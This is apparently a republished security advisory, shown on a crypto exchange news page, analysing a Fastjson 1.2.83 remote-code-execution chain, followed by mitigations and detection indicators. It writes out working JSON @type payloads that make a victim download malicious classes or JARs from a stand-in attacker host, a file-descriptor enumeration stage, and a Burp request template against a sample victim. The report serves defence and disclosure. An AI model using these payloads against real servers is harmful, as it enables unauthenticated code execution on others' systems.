logo
    • 买币
    • 市场
    • 合约交易
    • 现货交易
    • 理财
    • 合伙人&AI
    • 更多
    1. WEEX
    2. 加密货币要闻
    3. Fastjson 1.2.83 “Gadget-Free” 漏洞(0day)深度分析与防御指南

    Fastjson 1.2.83 “Gadget-Free” 漏洞(0day)深度分析与防御指南

    By: rootdata|2026/07/23 08:41:36
    0
    分享
    copy
    设为Google首选来源设为Google首选来源
    THETHE
    00.00%--
    SUNSUN
    00.00%--
    NOTNOT
    00.00%--
     

    Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。


    摘要


    在传统 Java 反序列化漏洞防御体系中,业界普遍存在以下认知盲区:"AutoType 默认关闭就安全"、"固定了 parseObject 的第二参数(顶层目标类型)就安全"、"排空了本地 Classpath 的反序列化 Gadget 依赖就安全"。然而,最新的技术攻防演进彻底打破了这些侥幸心理。


    GCSA 全球网络安全联盟今日独家发布本篇技术洞察报告。 报告深入复盘了 Fastjson 1.2.83 在默认 AutoType=false 状态下,依然可触发无需传统 Gadget 依赖的远程代码执行(RCE)的底层根因。目前,该利用技术已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔离环境中端到端复现成功。本漏洞并非传统的"绕过黑名单后寻找本地 Gadget",而是直接将 Fastjson 自身的 Class 元数据探测逻辑扭转为远程恶意 Class 的获取与授权通道。 以下为正文


    • 发布机构:GCSA 全球网络安全联盟
    • 报告类型:独家技术洞察 / 漏洞深度剖析报告
    • 报告日期:2026-07-21
    • 报告状态:已完成源码审计与隔离环境复现
    • 漏洞编号:内部研究编号 FJ-GETRESOURCE-RCE(不对应已公开 CVE)

    Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。建议立即启用 SafeMode 并迁移 Fastjson 2.x。


    1. 执行摘要


    Fastjson 1.2.83 的 ParserConfig.checkAutoType 会把用户可控的 @type 值转换为 class 资源名,并交给当前 ClassLoader 的 getResourceAsStream:

    String resource = typeName.replace('.', '/') + ".class";

    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);


    在能够解析绝对 URL 资源名的 fat-jar ClassLoader 环境中,攻击者可以利用点号替换构造 http:、jar:http: 和 jar:file: URL,从攻击端下载带有 @JSONType 的恶意 class。Fastjson 检测到该注解后会调用 loadClass,并在危险基类检查和目标类型相容性检查之前直接返回该 class。class 被实例化、初始化时即可执行任意代码。


    该利用不依赖目标 classpath 中已有的传统反序列化 gadget,且在 Fastjson AutoType=false 的默认状态下仍可触发。固定 JSON.parseObject 的目标类型不能阻止执行;启用 SafeMode 可以在资源访问前阻断正常利用路径。


    本报告已使用同一个 JSON payload 在隔离 Linux 容器中完成以下复现:



    1. 漏洞评级



    不建议仅凭组件版本给出统一的 CVSS 9.8:普通 AppClassLoader 是负对照,现代 JDK 完整链还依赖能够解析两种绝对 JAR URL 的 loader 和 /proc/self/fd。在满足本报告正向环境的应用中,漏洞效果为无需认证的网络 RCE。


    1. 影响范围与前置条件


    3.1 已确认范围


    • 运行时确认:Fastjson 1.2.83
    • JDK 确认:8、17、21、25
    • 操作系统确认:Linux;macOS 使用 /dev/fd 也完成了 JDK 17/21/25 复现
    • loader 确认:Spring Boot 2.7.18 classic loader + JDK 8;Spring Boot 3.2.0 loader + JDK 17/21/25
    • API 确认:JSON.parse,以及固定顶层类型的 JSON.parseObject

    3.2 版本范围说明


    外部描述中的 1.2.68--1.2.83 更适合作为已知测试范围,而不是漏洞引入版本。源码核对表明,决定性的 class 资源探测代码在 1.2.67 和 1.2.68 中已经存在。本报告仅对 1.2.83 完成了完整跨 JDK 运行时验证。


    3.3 利用所需条件


    • 攻击者可以控制传入 Fastjson 的 JSON,且输入中的 @type 会被解析
    • SafeMode 未启用
    • 加载 Fastjson 的 ClassLoader 能把构造后的绝对资源名解析为 URL
    • 受害进程可以连接攻击端 HTTP 服务
    • 现代 Linux 链要求 /proc/self/fd 可读,并且 loader 能解析 jar:file:/proc/self/fd/N!...
    • JDK 需要能够创建正常的远程 JAR 临时缓存;这通常意味着 JVM 临时目录可写

    攻击者不需要:


    • 向目标 classpath 写入文件
    • 目标 classpath 预装 TemplatesImpl、JNDI、C3P0、Commons Collections 等 gadget
    • 开启 Fastjson AutoType
    • 控制 JSON.parseObject 的第二个参数

    1. 根因分析


    4.1 用户类型名被当作资源 URL


    源码位置:

    src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


    核心代码:

    String resource = typeName.replace('.', '/') + ".class";

    if (defaultClassLoader != null) {

    is = defaultClassLoader.getResourceAsStream(resource);

    } else {

    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

    }


    该逻辑假设 resource 只是普通 classpath 路径,但没有限制其协议、绝对路径语义或来源。对于特定 fat-jar loader,以下输入会在替换后变成绝对 URL:

    输入类型名: http:..localhost:18081.a


    资源名: http://localhost:18081/a.class 因此 getResourceAsStream 从本地元数据查询越界为攻击者可控的网络资源加载。


    4.2 远程 class 的 @JSONType 被当作授权依据


    Fastjson 使用自己的 ASM ClassReader 解析资源内容:


    ClassReader classReader = new ClassReader(is, true);

    TypeCollector visitor = new TypeCollector("", new Class[0]);

    classReader.accept(visitor);

    jsonType = visitor.hasJsonType();


    攻击端只需让远程 class 带有 Fastjson 的 @JSONType 注解,即可将 jsonType 置为 true。这里检查的是攻击者提供的字节,而不是一个已经由可信 classpath 加载的类。


    4.3 jsonType 触发实际类加载


    源码位置:


    ParserConfig.java:1500-1503

    TypeUtils.java:1759-1792


    if (autoTypeSupport || jsonType || expectClassFlag) {

    boolean cacheClass = autoTypeSupport || jsonType;

    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

    }


    TypeUtils.loadClass 依次尝试显式 loader、线程上下文 loader 和 Class.forName。在正向环境中,线程上下文 loader 会再次解析相同的绝对资源名、下载 class 并执行 defineClass。


    4.4 @JSONType 早返回绕过后续安全检查


    源码位置:


    ParserConfig.java:1505-1528


    if (clazz != null) {

    if (jsonType) {

    return clazz;

    } // These checks are performed after the jsonType is returned.

    if (ClassLoader.class.isAssignableFrom(clazz)

    || DataSource.class.isAssignableFrom(clazz)

    || RowSet.class.isAssignableFrom(clazz)) {

    throw new JSONException(...);

    } if (expectClass != null) {

    // assignability the check is also done later.

    }

    }


    远程 class 一旦携带 @JSONType:

    • 危险基类检查不会执行
    • expectClass.isAssignableFrom(clazz) 不会执行
    • 固定数据绑定类型无法在 class 初始化之前阻止执行

    4.5 Exception/Error 后缀形成失败软通道


    源码位置:


    ParserConfig.java:1537-1542


    if (!autoTypeSupport) {

    if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

    return null;

    }

    throw new JSONException("autoType is not support. " + typeName);

    }


    现代 JDK 第一阶段会因非法内部类名加载失败。让类型名以 Exception 结尾后,Fastjson 不会终止整个 JSON,而是返回 null,使解析器继续处理数组中的 FD 枚举元素。这一分支是单 payload 跨阶段执行的关键。


    4.6 SafeMode 的位置


    SafeMode 检查位于资源访问之前:

    ParserConfig.java:1325-1330


    所以默认路径中 SafeMode 能阻止网络请求。不过 AutoTypeCheckHandler 位于 SafeMode 之前(ParserConfig.java:1316-1323);如果应用主动注册了一个直接返回类型的 handler,需要单独审计,不能把 SafeMode 理解为可覆盖自定义 handler 的绝对边界。


    1. 利用链详解


    5.1 JDK 8:直接远程 class 加载


    最短形式:

    {"@type":"http:..localhost:18081.a"}


    转换链:

    binary type name: http:..localhost:18081.a

    resource URL: http://localhost:18081/a.class

    class internal: http://localhost:18081/a


    JDK 8 接受上述非常规内部类名。Spring Boot 2.7 的 LaunchedURLClassLoader 下载 class 后完成定义、实例化和初始化,恶意 执行命令。

    JDK 17+ 同样会完成网络请求,但拒绝内部名中的空路径段,

    ClassFormatError: Illegal class name "http://localhost:18081/a"


    所以短 http:.. 形式本身只在 JDK 8 完成 RCE。


    5.2 现代 JDK 第一阶段:下载远程 JAR


    单 payload 的首个数组元素:

    {"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


    转换结果:

    resource URL:

    jar:http://attacker:18081/x!/foo/Exception.class


    JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 会创建 jar_cache* 临时文件,将远程 JAR 复制到该文件。


    JDK 17+ 随后拒绝第一阶段 jar:http://... 内部名,但 Fastjson 因 Exception 后缀继续解析数组。


    5.3 现代 JDK 第二阶段:重开缓存 FD


    后续候选元素:

    {"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


    转换链:

    binary type name:

    jar:file:.proc.self.fd.7!.fd7.Exception resource URL:

    jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name:

    jar:file:/proc/self/fd/7!/fd7/Exception


    与 http:// 不同,该内部名的每个 / 分隔组件都非空,因此现代 JVM 接受。攻击 JAR 中为每个候选 FD 准备一个入口:

    fd3/Exception.class

    fd4/Exception.class

    ...

    fd64/Exception.class


    每个 class 的常量池内部名都与对应 FD 的请求类型精确匹配,并携带 @JSONType。命中实际缓存句柄后,Fastjson 加载并实例化该类, 执行命令。


    JDK 17 的 class-load 日志中首个命中为:

    jar:file:.proc.self.fd.7!.fd7.Exception


    5.4 为什么一个 payload 同时兼容 JDK 8 和现代 JDK


    JDK 8 直接接受第一阶段 jar:http://... class 并执行


    第一阶段 class 执行命令后故意抛出 RuntimeException("stage-one-stop"),阻止 JDK 8 继续尝试无关 socket/pipe FD


    JDK 17+ 在 class 初始化前就因第一阶段非法名称失败,随后通过 Exception 软返回进入 FD 枚举阶段


    1. 复现环境与证据


    6.1 被测构件哈希


    fastjson-1.2.83.jar

    SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

    SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

    SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


    6.2 一键复现


    cd

    PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


    期望输出:

    JDK 8 : RCE-OK

    JDK 17: RCE-OK

    JDK 21: RCE-OK

    JDK 25: RCE-OK


    脚本会:


    • 编译受害 fat jar;
    • 生成带 FD 专用 class 的攻击 JAR;
    • 生成一个 JSON 数组 payload;
    • 在隔离 Docker 网络启动攻击端 HTTP 服务;
    • 分别启动 JDK 8/17/21/25 受害容器;
    • 检查每个容器映射出的 /tmp/fastjson-getresource-rce。

    6.3 手工生成攻击 JAR 和 payload


    cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

    --host attacker \

    --port 18081 \

    --fd-root /proc/self/fd \

    --min-fd 3 \

    --max-fd 64 \

    --out-jar target/getresource-repro/www-linux/x \

    --out-json target/getresource-repro/fd-payload-linux.json


    生成物:

    Attacker JAR: target/getresource-repro/www-linux/x

    JSON payload: target/getresource-repro/fd-payload-linux.json


    --host 建议使用不含点号的 DNS 标签或十进制 IPv4。原因不是绕过 localhost, 而是 Fastjson 会把类型名中的所有.都改成 /。例如十进制 IPv42130706433 等价于 127.0.0.1,但不会被点号替换拆开。


    6.4 通过 Burp Suite 投递


    Burp 只负责向存在 Fastjson 解析点的受害接口发送 JSON;攻击 JAR 仍需由攻击端 HTTP 服务提供。


    请求模板:


    POST /parse HTTP/1.1

    Host: victim.example

    Content-Type: application/json

    Connection: close

    Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]


    如果应用使用固定顶层类型,可根据字段结构包装数组,例如:

    {"value":[/* All array elements in fd-payload-linux.json */]}


    本实验使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包装,结果仍为 RCE-OK,并正常返回 BoundEnvelope。


    6.5 关键边界测试



    1. 修复与缓解建议


    7.1 首选:迁移出 Fastjson 1.x


    优先迁移至维护中的 Fastjson 2.x,并重新验证所有多态类型、AutoType 和兼容模式配置。不要仅替换 JAR 而不做回归测试。


    7.2 立即启用 SafeMode


    代码配置:

    ParserConfig.getGlobalInstance().setSafeMode(true);


    JVM 参数:

    -Dfastjson.parser.safeMode=true


    注意:应用如注册了 AutoTypeCheckHandler,应同步审计或移除,因为 handler 在 SafeMode 检查之前执行。


    7.3 限制反序列化入口


    • 不要把不可信请求直接交给 JSON.parse/JSON.parseObject
    • 在网关或应用入口拒绝任何形式的特殊类型元数据
    • 仅固定顶层 Java 类型不是充分防线,因为嵌套对象仍可处理 @type,且本漏洞的 jsonType 早返回绕过相容性检查

    7.4 WAF/ 网关临时规则


    临时拦截 JSON key 解码后等于 @type 的请求,并覆盖 URL 参数、请求体及嵌套对象。不能只搜索明文 "@type",Fastjson lexer 会先解码字段名,例如:

    {"\u0040type":"..."}

    {"\x40type":"..."}


    WAF 规则只能作为缓解,不能代替组件升级和 SafeMode。


    7.5 出网与运行时加固


    1. 禁止业务 JVM 对非必要外部地址发起 HTTP/HTTPS 连接。
    2. 对应用容器实施最小网络策略。
    3. 在兼容性允许时限制 /proc/self/fd 暴露或使用更严格的容器沙箱。
    4. 审计 ClassLoader 对绝对 URL 资源名的处理,拒绝 http:、https:、jar:、file: 等协议形式。
    5. 监控 JVM 临时目录中的异常 jar_cache* 活动。

    1. 检测建议与 IOC


    8.1 请求侧特征


    重点关注解码后的 @type 值包含:

    http:..

    jar:http:..

    jar:file:.proc.self.fd.

    jar:file:.dev.fd.

    !.fd

    Exception


    单独出现 Exception 不足以告警,应与协议形式、@type 和数组内连续 FD 候选组合关联分析。


    8.2 网络侧特征


    • JVM 向异常主机请求无扩展名 JAR 或 .class
    • 同一解析请求期间出现 1--3 次重复 GET/HEAD
    • 请求路径中可能出现 /x、/a.class 或攻击者自定义等价路径

    8.3 主机侧特征


    • JVM 临时目录创建 jar_cache*
    • Java 进程通过 /proc/self/fd/N 重新打开自身文件
    • class-load 日志出现类似 jar:file:.proc.self.fd.7!.fd7.Exception

    jar:file:.proc.self.fd.7!.fd7.Exception


    1. 结论


    本漏洞并非传统的"绕过黑名单后寻找本地 gadget",而是把 Fastjson 自身的 class 元数据探测逻辑变成了远程 class 获取和授权通道。@JSONType 早返回使攻击者提供的 class 在危险基类和类型绑定检查之前被接受;Exception 失败软通道及 JDK jar:http: 临时缓存则将 JDK 8 的直接加载原语扩展到了 JDK 17/21/25。


    因此以下常见判断均不成立:


    • "AutoType 默认关闭,所以安全" --- 不成立
    • "固定 parseObject 第二参数,所以安全" --- 不成立
    • "classpath 没有已知 gadget,所以安全" --- 不成立
    • "JKD 17+ 会拒绝 http:// 内部名,所以最多只是 SSRF" --- 不成立

    在满足已验证 loader、网络和文件描述符条件的部署中,该问题可以从单个未经认证的 JSON 请求发展为真实远程代码执行。应优先迁移 Fastjson 2.x,并立即启用 SafeMode、收紧出网与 ClassLoader 资源解析边界。


    1. 附件与证据路径


    Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

    Reproduction instructions: target/getresource-repro/README.md

    JDK 8 short chain: target/getresource-repro/reproduce.sh

    JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh

    Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py

    Generated Linux payload: target/getresource-repro/fd-payload-linux.json

    JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log

    -- 价格

    --

    本内容仅供参考,不构成任何金融、投资、法律或税务建议。文中提及的任何活动、奖励、线上活动或相关信息,不应被视为对购买、出售或交易任何加密资产的推荐、招揽或邀请。加密资产具有高波动性,存在价值损失风险。WEEX服务、产品及相关活动的可用性可能因地区而异。用户在参与前有责任确保符合当地适用法律法规。

    猜你喜欢

    谁真正掌握了加密货币的收入?

    谁真正掌握了加密货币的收入?

    谷歌Pixel 11发布:硬件小改,Gemini功能大增

    谷歌Pixel 11发布:硬件小改,Gemini功能大增

    谷歌与瑞安航空签五年云与AI协议

    谷歌与瑞安航空签五年云与AI协议

    如何使用 Dune:哪些仪表板能帮助加密货币投资者

    如何使用 Dune:哪些仪表板能帮助加密货币投资者

    加密货币与代币化股票:美国证券交易委员会的重大转变逐渐明朗

    加密货币与代币化股票:美国证券交易委员会的重大转变逐渐明朗

    SEC正在为加密融资和可能开启24小时代币化股票交易的豁免制定框架。
    唱反调!高盛策略师:美联储年内或将全线按兵不动

    唱反调!高盛策略师:美联储年内或将全线按兵不动

    FOMO这个产品可怕之处在哪里?

    FOMO这个产品可怕之处在哪里?

    对日元的干预:操控财富的联合行动暴露国家脆弱性

    对日元的干预:操控财富的联合行动暴露国家脆弱性

    伦敦掌握 7 成黄金交易,英国出手布局代币化黄金!FCA 研拟监管新规

    伦敦掌握 7 成黄金交易,英国出手布局代币化黄金!FCA 研拟监管新规

    比特币核心开发者表示,代码,而不是白皮书。

    比特币核心开发者表示,代码,而不是白皮书。

    比特币核心(Bitcoin Core)的开发者 Jeff Garzik 表示,比特币早期的成功并非来自白皮书(white paper),而是来自 2010 年 7 月 Slashdot 上的一篇发布带来的广泛曝光,以及这二者的结合,这是 Wu Blockchain 引述的一段说法。
    SpaceX董事安东尼奥·格拉西亚斯披露持股6.5%

    SpaceX董事安东尼奥·格拉西亚斯披露持股6.5%

    人工智能巨头将比特币矿工挤出电网——这背后是双赢局面

    人工智能巨头将比特币矿工挤出电网——这背后是双赢局面

    人工智能正在将比特币矿工的价格挤出主电网。头条新闻称这是一种投降,但驱逐背后隐藏着巨大的基础设施胜利。
    Rasmal Ventures参与Yuno 4500万美元融资轮

    Rasmal Ventures参与Yuno 4500万美元融资轮

    Strategy 被迫「囤」美元的真实代价

    Strategy 被迫「囤」美元的真实代价

    分散比特币的保管是行业唯一的真正保护措施

    分散比特币的保管是行业唯一的真正保护措施

    MEXC退出荷兰:Kraken MEXC吸纳客户

    MEXC退出荷兰:Kraken MEXC吸纳客户

    ENS完成了一场静悄悄的“自我革命”

    ENS完成了一场静悄悄的“自我革命”

    区块链.RIO巩固里约作为全球金融创新舞台

    区块链.RIO巩固里约作为全球金融创新舞台

    区块链里约周2026于8月11日(星期二)在里约热内卢拉开帷幕,首日完全专注于该行业的机构层面——监管机构、中央银行、市场协会和大型金融机构,随后才是面向更广泛公众的主要活动的开幕。当天的日程有两个核心环节:由Cainvest主办的拉美金融基础设施论坛,以及在嘉维亚赛马会的卡莫莱斯之家举行的区块链领袖高管会议。
    “解雇Luke Dashjr是正确的,尽管晚了10年”:Turtlecute

    “解雇Luke Dashjr是正确的,尽管晚了10年”:Turtlecute

    硬件钱包:零信任挑战与种子的安全性

    硬件钱包:零信任挑战与种子的安全性

    即使比特币上涨,也不一定与你有关

    即使比特币上涨,也不一定与你有关

    比特币是否接近底部?USDT发出的矛盾信号

    比特币是否接近底部?USDT发出的矛盾信号

    币安拒绝撤回对RedotPay的新加坡案件的说法

    币安拒绝撤回对RedotPay的新加坡案件的说法

    全球网络安全联盟(GCSA)发展中世界工程技术院(AETDEW)联合成立 AI 网络安全研究中心

    全球网络安全联盟(GCSA)发展中世界工程技术院(AETDEW)联合成立 AI 网络安全研究中心

    英格兰银行将测试稳定币和数字货币在跨境金融中的应用

    英格兰银行将测试稳定币和数字货币在跨境金融中的应用

    DeFi 退潮时,为什么 RWA 还在增长?

    DeFi 退潮时,为什么 RWA 还在增长?

    web3: 外媒:加密交易所借CFD扩展多资产交易

    web3: 外媒:加密交易所借CFD扩展多资产交易

    黄金价格与通胀:美国CPI会将黄金推向5000美元吗?

    黄金价格与通胀:美国CPI会将黄金推向5000美元吗?

    web3: Solana、BNB与Sui推进升级,山寨币分化加剧

    web3: Solana、BNB与Sui推进升级,山寨币分化加剧

    XRP桥接漏洞更新:Tx识别缺陷,报警FBI

    XRP桥接漏洞更新:Tx识别缺陷,报警FBI

    谁真正掌握了加密货币的收入?

    谷歌Pixel 11发布:硬件小改,Gemini功能大增

    谷歌与瑞安航空签五年云与AI协议

    如何使用 Dune:哪些仪表板能帮助加密货币投资者

    加密货币与代币化股票:美国证券交易委员会的重大转变逐渐明朗

    SEC正在为加密融资和可能开启24小时代币化股票交易的豁免制定框架。

    唱反调!高盛策略师:美联储年内或将全线按兵不动

    ...
    邀请好友,赢取奖励
    邀请好友最高可得 $160 奖励 + 40% 返佣
    邀请好友,赢取奖励立即邀请

    目录

    摘要
    THE

    最新文章

    2026/08/12

    即使比特币上涨,也不一定与你有关

    THETHE
    00.00%--
    MEMEMEME
    00.00%--
    2026/08/12

    全球网络安全联盟(GCSA)发展中世界工程技术院(AETDEW)联合成立 AI 网络安全研究中心

    TECKTECK
    00.00%--
    THETHE
    00.00%--
    HENRYHENRY
    00.00%--
    KOONKOON
    00.00%--
    2026/08/12

    DeFi 退潮时,为什么 RWA 还在增长?

    XYZXYZ
    00.00%--
    THETHE
    00.00%--
    ONDOONDO
    00.00%--
    2026/08/12

    逆向创业:下一个 Web3 爆款,或许来自曾经失败的旧创意

    METAMETA
    00.00%--
    THETHE
    00.00%--
    MEMEMEME
    00.00%--
    2026/08/12

    以太坊最新路线图公布:维塔利克·布特林重视隐私与量子抗性

    THETHE
    00.00%--
    GASGAS
    00.00%--
    ETHETH
    00.00%--
    更多

    WEEX 新上架代币

    logo社区
    iconiconiconiconiconicon
    客户服务:@weikecs
    商务合作:@weikecs
    量化做市商合作:bd@weex.com
    VIP服务:support@weex.com
    • 关于我们
    • 公告中心
    • WEEX博客
    • 品牌信息
    • 官方博客
    • 就业机会
    • 媒体报道
    • 加入 WEEX 社群
    • WXT专区
    • 法律声明
    • 风险提示
    • 条款与协议
    • 隐私说明
    • 廉正举报
    • 反洗钱政策
    • 执法请求指南
    • 教程中心
    • 产品公告
    • WEEX要闻
    • 产品公告
    • WEEX加密百科
    • 学习
    • Q&A
    • 现货交易
    • 合约交易
    • 名词解释
    • VIP服务
    • 下载
    • 合伙人
    • 保护基金
    • 储备金证明
    • 网站地图
    • ETF
    • 加密货币价格
    • 货币预测
    • WXT 价格
    • BTC 价格
    • ETH 价格
    • DOGE 价格
    • 如何购买加密货币
    • 如何购买 WXT
    • 如何购买 BTC
    • 如何购买 ETH
    • 如何购买 DOGE
    • 帮助中心
    • 费率标准
    • 交易规则
    • 常见问题
    • WEEX学堂
    • 官方验证渠道
    • 关于我们
    • 公告中心
    • WEEX博客
    • 品牌信息
    • 官方博客
    • 就业机会
    • 媒体报道
    • 加入 WEEX 社群
    • WXT专区
    • 帮助中心
    • 费率标准
    • 交易规则
    • 常见问题
    • WEEX学堂
    • 官方验证渠道
    • 联系客服Bot
    • VIP服务
    • 法律声明
    • 风险提示
    • 条款与协议
    • 隐私说明
    • 廉正举报
    • 反洗钱政策
    • 执法请求指南
    • 储备金证明
    • 邀请好友
    • OTC
    • 下载
    • 合伙人
    • VIP服务
    • API
    • 经纪商
    • 上币申请
    • 网站地图
    • 合约交易
    • 现货交易
    • 一键跟单
    • 市场
    • WEEX商城
    • 教程中心
    • 产品公告
    • WEEX要闻
    • 产品公告
    • WEEX加密百科
    • 学习
    • Q&A
    • 现货交易
    • 合约交易
    • 名词解释
    • VIP服务
    • 下载
    • 合伙人
    • 保护基金
    • 储备金证明
    • 网站地图
    • ETF
    • 加密货币价格
    • 货币预测
    • WXT 价格
    • BTC 价格
    • ETH 价格
    • DOGE 价格
    • 如何购买加密货币
    • 如何购买 WXT
    • 如何购买 BTC
    • 如何购买 ETH
    • 如何购买 DOGE
    • 关于我们
    • 公告中心
    • WEEX博客
    • 品牌信息
    • 官方博客
    • 就业机会
    • 媒体报道
    • 加入 WEEX 社群
    • WXT专区
    • 帮助中心
    • 费率标准
    • 交易规则
    • 常见问题
    • WEEX学堂
    • 官方验证渠道
    • 法律声明
    • 风险提示
    • 条款与协议
    • 隐私说明
    • 廉正举报
    • 反洗钱政策
    • 执法请求指南
    • 联系客服Bot
    • VIP服务
    • 合约交易
    • 现货交易
    • 一键跟单
    • 市场
    • WEEX商城
    • 储备金证明
    • 邀请好友
    • OTC
    • 下载
    • 合伙人
    • VIP服务
    • API
    • 经纪商
    • 上币申请
    • 网站地图
    • 教程中心
    • 产品公告
    • WEEX要闻
    • 产品公告
    • WEEX加密百科
    • 学习
    • Q&A
    • 现货交易
    • 合约交易
    • 名词解释
    • VIP服务
    • 下载
    • 合伙人
    • 保护基金
    • 储备金证明
    • 网站地图
    • ETF
    • 加密货币价格
    • 货币预测
    • WXT 价格
    • BTC 价格
    • ETH 价格
    • DOGE 价格
    • 如何购买加密货币
    • 如何购买 WXT
    • 如何购买 BTC
    • 如何购买 ETH
    • 如何购买 DOGE

    财富自由之路

    扫码下载

    注册
    h5 logo
    下载